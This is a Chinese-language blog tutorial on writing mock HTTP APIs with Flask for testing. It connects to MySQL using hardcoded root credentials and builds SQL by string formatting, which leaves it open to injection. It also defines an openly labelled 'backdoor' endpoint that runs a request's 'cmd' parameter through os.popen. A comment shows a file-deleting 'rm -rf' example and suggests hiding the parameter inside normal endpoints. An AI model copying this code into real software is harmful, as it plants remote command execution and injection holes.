python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
go和python调用其它程序并得到程序输出
Feb 10 Python
轻松实现python搭建微信公众平台
Feb 16 Python
Python面向对象类继承和组合实例分析
May 28 Python
Python读取mat文件,并转为csv文件的实例
Jul 04 Python
python矩阵的转置和逆转实例
Dec 12 Python
pyhanlp安装介绍和简单应用
Feb 22 Python
django项目简单调取百度翻译接口的方法
Aug 06 Python
python解析yaml文件过程详解
Aug 30 Python
Python爬取腾讯视频评论的思路详解
Dec 19 Python
基于Python数据分析之pandas统计分析
Mar 03 Python
Python动态强类型解释型语言原理解析
Mar 25 Python
在vscode中启动conda虚拟环境的思路详解
Dec 25 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
PHP实现分页的一个示例
2006/10/09 PHP
php 获取当前访问的url文件名的方法小结
2010/02/08 PHP
PHP 开发者该知道的 5 个 Composer 小技巧
2016/02/03 PHP
PHP实现微信图片上传到服务器的方法示例
2017/06/29 PHP
Laravel创建数据库表结构的例子
2019/10/09 PHP
javascript 硬盘序列号+其它硬件信息
2008/12/23 Javascript
javascript检查浏览器是否支持flash的实现代码
2014/08/14 Javascript
jQuery自带的一些常用方法总结
2014/09/03 Javascript
jquery mobile页面跳转后样式丢失js失效的解决方法
2014/09/06 Javascript
基于 Node.js 实现前后端分离
2016/04/23 Javascript
vue-router实现webApp切换页面动画效果代码
2017/05/25 Javascript
JS原生数据双向绑定实现代码
2017/08/14 Javascript
详解vue中localStorage的使用方法
2018/11/22 Javascript
ES6 Object方法扩展的应用实例分析
2019/06/25 Javascript
vue单应用在ios系统中实现微信分享功能操作
2020/09/07 Javascript
如何在JavaScript中等分数组的实现
2020/12/13 Javascript
python调用系统ffmpeg实现视频截图、http发送
2018/03/06 Python
Python基于最小二乘法实现曲线拟合示例
2018/06/14 Python
Python SVM(支持向量机)实现方法完整示例
2018/06/19 Python
python实现图片批量压缩程序
2018/07/23 Python
深入了解Python iter() 方法的用法
2019/07/11 Python
解决python 文本过滤和清理问题
2019/08/28 Python
python3.6连接mysql数据库及增删改查操作详解
2020/02/10 Python
Python Scrapy框架:通用爬虫之CrawlSpider用法简单示例
2020/04/11 Python
Python存储读取HDF5文件代码解析
2020/11/25 Python
英国电视和家用电器购物网站:rlrdistribution.co.uk
2018/11/20 全球购物
广州足迹信息技术有限公司Java软件工程师试题
2014/02/15 面试题
投标服务承诺书
2014/05/28 职场文书
我的中国梦演讲稿500字
2014/08/19 职场文书
教师党员个人整改措施材料
2014/09/16 职场文书
普通党员个人整改措施
2014/10/27 职场文书
工伤私了协议书范本
2014/11/24 职场文书
2015年度房地产工作总结
2015/04/09 职场文书
22句经典语录:送给优柔寡断和胡思乱想的朋友们
2019/12/13 职场文书
动画电影《擅长捉弄人的高木同学》6月10日上映!
2022/03/20 日漫
【D4DJ】美少女DJ企划 动画将于明年冬季开播第2季
2022/04/11 日漫